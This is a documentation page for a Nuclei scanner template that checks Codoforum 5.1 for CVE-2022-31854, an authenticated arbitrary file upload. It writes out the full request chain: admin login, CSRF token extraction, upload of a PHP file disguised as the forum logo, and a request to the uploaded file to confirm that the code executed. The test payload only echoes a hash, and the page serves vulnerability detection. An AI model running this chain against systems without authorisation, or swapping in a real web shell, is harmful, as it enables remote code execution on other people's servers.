Codoforum 5.1 - Arbitrary File Upload
ID: CVE-2022-31854
Severity: high
Author: theamanrawat
Tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic
Description
Section titled “Description”Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: CVE-2022-31854
info: name: Codoforum 5.1 - Arbitrary File Upload author: theamanrawat severity: high description: | Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system. remediation: | Apply the latest security patch or upgrade to a patched version of Codoforum. reference: - https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip - https://codoforum.com - https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc - https://nvd.nist.gov/vuln/detail/CVE-2022-31854 - https://github.com/trhacknon/Pocingit classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2022-31854 cwe-id: CWE-434 epss-score: 0.26245 epss-percentile: 0.96727 cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: codologic product: codoforum tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic
http: - raw: - | POST /admin/?page=login HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
------WebKitFormBoundaryACGPpj7UIqmtLNbB Content-Disposition: form-data; name="username"
{{username}} ------WebKitFormBoundaryACGPpj7UIqmtLNbB Content-Disposition: form-data; name="password"
{{password}} ------WebKitFormBoundaryACGPpj7UIqmtLNbB-- - | GET /admin/index.php?page=config HTTP/1.1 Host: {{Hostname}} - | POST /admin/index.php?page=config HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
------WebKitFormBoundaryoLtdjuqj2ixPvBhA Content-Disposition: form-data; name="site_title"
------WebKitFormBoundaryoLtdjuqj2ixPvBhA Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php" Content-Type: application/x-httpd-php
<?php
echo md5('CVE-2022-31854');
?> ------WebKitFormBoundaryoLtdjuqj2ixPvBhA Content-Disposition: form-data; name="CSRF_token"
{{csrf}} ------WebKitFormBoundaryoLtdjuqj2ixPvBhA-- - | GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - status_code_4 == 200 - contains(content_type_4, "text/html") - contains(body_4, "a63fd49130de6406a66600cd8caa162f") condition: and
extractors: - type: regex name: csrf group: 1 regex: - name="CSRF_token" value="([0-9a-zA-Z]+)"/> internal: true# digest: 4a0a00473045022100bb59a85953219bb39f71aa51b765a0d62c0f89226d17be31ccdc4bb0b7c8b9c202202160192dad9bff46a4630b808f1da1c262a3e7fb889cbf864eaa98137f5e6894:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31854.yaml"